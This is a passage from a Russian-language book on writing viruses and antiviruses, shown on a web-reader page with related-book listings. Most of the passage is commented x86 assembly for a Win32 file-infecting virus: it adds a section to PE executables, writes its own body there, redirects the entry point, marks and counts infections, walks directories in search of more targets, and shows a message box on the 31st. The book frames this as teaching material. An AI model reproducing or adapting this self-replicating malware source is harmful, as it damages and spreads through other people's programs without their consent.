Читаем Создаем вирус и антивирус полностью

push 0

push dword ptr [ebp+offset peheaderoffset]

push dword ptr [ebp+offset ahand]

call SetFilePointer

;Считаем весь PE−заголовок и таблицу объектов

push 0

lea eax,[ebp+offset bytesread]

push eax

push dword ptr [ebp+offset headersize]

lea eax,[ebp+offset peheader]

push eax

push dword ptr [ebp+offset ahand]

call ReadFile

;Установим признак заражения

mov word ptr [ebp+offset peheader+4ch],0F00Dh

;Найдем смещение таблицы объектов

xor eax,eax

mov ax, word ptr [ebp+offset NtHeaderSize]

add eax,18h

mov dword ptr [ebp+offset ObjectTableoffset],eax

;Вычислим смещение последнего (null) объекта в таблице объектов

mov esi,dword ptr [ebp+offset ObjectTableoffset]

lea eax,[ebp+offset peheader]

add esi,eax

xor eax,eax

mov ax,[ebp+offset numObj]

mov ecx,40

xor edx,edx

mul ecx

add esi,eax

;Увеличим число объектов на 1

inc word ptr [ebp+offset numObj]

lea edi,[ebp+offset newobject]

xchg edi,esi

;Вычислим относительный виртуальный адрес (Relative Virtual Address

;или RVA) нового объекта

mov eax,[edi−5*8+8]

add eax,[edi−5*8+12]

mov ecx,dword ptr [ebp+offset objalign]

xor edx,edx

div ecx

inc eax

mul ecx

mov dword ptr [ebp+offset RVA],eax

;Вычислим физический размер нового объекта

mov ecx,dword ptr [ebp+offset filealign]

mov eax,vend−vstart

xor edx,edx

div ecx

inc eax

mul ecx

mov dword ptr [ebp+offset physicalsize],eax

;Вычислим виртуальный размер нового объекта

mov ecx,dword ptr [ebp+offset objalign]

mov eax,vend–vstart+1000h

xor edx,edx

div ecx

inc eax

mul ecx

mov dword ptr [ebp+offset virtualsize],eax

;Вычислим физическое смещение нового объекта

mov eax,[edi−5*8+20]

add eax,[edi−5*8+16]

mov ecx,dword ptr [ebp+offset filealign]

xor edx,edx

div ecx

inc eax

mul ecx

mov dword ptr [ebp+offset physicaloffset],eax

;Обновим размер образа (размер в памяти) файла

mov eax,vend−vstart+1000h

add eax,dword ptr [ebp+offset imagesize]

mov ecx,[ebp+offset objalign]

xor edx,edx

div ecx

inc eax

mul ecx

mov dword ptr [ebp+offset imagesize],eax

;Скопируем новый объект в таблицу объектов

mov ecx,10

rep movsd

;Вычислим точку входа RVA

mov eax,dword ptr [ebp+offset RVA]

mov ebx,dword ptr [ebp+offset entrypointRVA]

mov dword ptr [ebp+offset entrypointRVA],eax

sub eax,ebx

add eax,5

;Установим значение, необходимое для возврата в носитель

mov dword ptr [ebp+offset subme],eax

;Поставим указатель позиции чтения/записи на начало PE−заголовка

push 0

push 0

push dword ptr [ebp+offset peheaderoffset]

push dword ptr [ebp+offset ahand]

call SetFilePointer

;Запишем PE−заголовок и таблицу объектов в файл

push 0

lea eax,[ebp+offset bytesread]

push eax

push dword ptr [ebp+offset headersize]

lea eax,[ebp+offset peheader]

push eax

push dword ptr [ebp+offset ahand]

call WriteFile

;Увеличим счетчик заражений

inc byte ptr [ebp+offset countinfect]

;Поставим указатель позиции чтения/записи

;по физическому смещению нового объекта

push 0

push 0

push dword ptr [ebp+offset physicaloffset]

push dword ptr [ebp+offset ahand]

call SetFilePointer

;Запишем тело вируса в новый объект

push 0

lea eax,[ebp+offset bytesread]

push eax

push vend−vstart

lea eax,[ebp+offset vstart]

push eax

push dword ptr [ebp+offset ahand]

call WriteFile

;Закроем файл

notape:

push dword ptr [ebp+offset ahand]

call CloseFile

;Переход к следующему файлу

findnextone:

;Проверим, сколько файлов заразили: если 3,

;то выходим, если меньше – ищем следующий

cmp byte ptr [ebp+offset countinfect],3

jz outty

;Ищем следующий файл

lea eax,[ebp+offset win32_data_thang]

push eax

push dword ptr [ebp+offset searchhandle]

call FindNext

;Если файл найден, переходим к заражению

or eax,eax

jnz gofile

;Сюда попадаем, если файл не найден

foundnothing:

;Сменим директорию

xor eax,eax

lea edi,[ebp+offset tempdir]

mov ecx,256/4

rep stosd

lea edi,[ebp+offset tempdir1]

mov ecx,256/4

rep stosd

;Получим текущую директорию

lea esi,[ebp+offset tempdir]

push esi

push 255

call GetCurDir

;Сменим директорию на ”.”

lea eax,[ebp+offset dotdot]

push eax

call SetCurDir

;Получим текущую директорию

lea edi,[ebp+offset tempdir1]

push edi

push 255

call GetCurDir

;Проверим, корневая ли это директория. Если да, то выходим

mov ecx,256/4

rep cmpsd

jnz infectdir

;”Заметаем следы” и выходим в программу−носитель

outty:

;Возвратимся в оригинальную текущую директорию

lea eax,[ebp+offset orgdir]

push eax

call SetCurDir

;Получим текущую дату и время

lea eax,[ebp+offset systimestruct]

push eax

call GetTime

;Проверим число. Если это 31−ое, выдаем сообщение

cmp word ptr [ebp+offset day],31

jnz nopayload

;Сообщение для пользователя

push 1000h ;MB_SYSTEMMODAL

lea eax,[ebp+offset boxtitle]

push eax

lea eax,[ebp+offset boxmsg]

push eax

push 0

call MsgBox

;Выход в программу−носитель

nopayload:

pop eax

jmp eax

;Когда KERNEL будет обнаружен, его смещение будет записано

kern dd 0BFF93B95h

;Значения KERNEL, известные нам

kern1 dd 0BFF93B95h

kern2 dd 0BFF93C1Dh

;Чтение текущей директории

GetCurDir:

;Запишем в стек значение для получения текущей

;директории и вызовем KERNEL

push 0BFF77744h

jmp [ebp+offset kern]

;Установка текущей директории

SetCurDir:

;Запишем в стек значение для установки текущей

;директории и вызовем KERNEL

push 0BFF7771Dh

jmp [ebp+offset kern]

;Получение времени и даты

GetTime:

;Проверим, какой KERNEL работает

cmp [ebp+offset kern],0BFF93B95h

jnz gettimekern2

Перейти на страницу:

Похожие книги

Справочник по параметрам BIOS
Справочник по параметрам BIOS

В справочнике в алфавитном порядке приведено описание большинства параметров современных BIOS. В краткой форме описаны большинство настроек BIOS, даны рекомендуемые значения для различных конфигураций компьютеров. Также рассказано, что представляет собой BIOS, какие типы BIOS существуют, как получить доступ к BIOS и обновлять ее.Кроме того, вы научитесь использовать различные функции BIOS, узнаете, как оптимизировать их с целью улучшения производительности и надежности системы.Для более глубокого понимания работы BIOS и детального рассмотрения ее функций рекомендуем обратиться к книге «Оптимизация BIOS. Полное руководство по всем параметрам BIOS и их настройкам» А. Вонга.Книга предназначена для всех пользователей компьютера – как начинающих, которые хотят научиться правильно и грамотно настроить свою машину, используя возможности BIOS, так и профессионалов, для которых книга окажется полезным справочником по всему многообразию настроек BIOS. Перевод: А. Осипов

Адриан Вонг

Зарубежная компьютерная, околокомпьютерная литература
Тайны и секреты компьютера
Тайны и секреты компьютера

Эта книга предназначена для тех, кто самостоятельно осваивает мир информационных технологий. Программирование в среде Microsoft Office, устройство сетей Internet и Fidonet, работа системы электронной почты, структура системного реестра Windows и файловой системы, строение жидкокристаллических дисплеев и проблема наличия различных кодировок русского языка, — про все это рассказывается в ней. Многообразие тем и легкий стиль изложения сделают ее вашим спутником на долгое время, и вы всегда сможете найти в ней нужную именно в данный момент информацию.Если Вы интересуетесь компьютерными технологиями, желали бы расширить свои знания и умения в этой области, то она Вам наверняка понравится.http://comptain.nm.ru

Антон Александрович Орлов , Антон Орлов

Фантастика / Фэнтези / Прочая компьютерная литература / Книги по IT / Зарубежная компьютерная, околокомпьютерная литература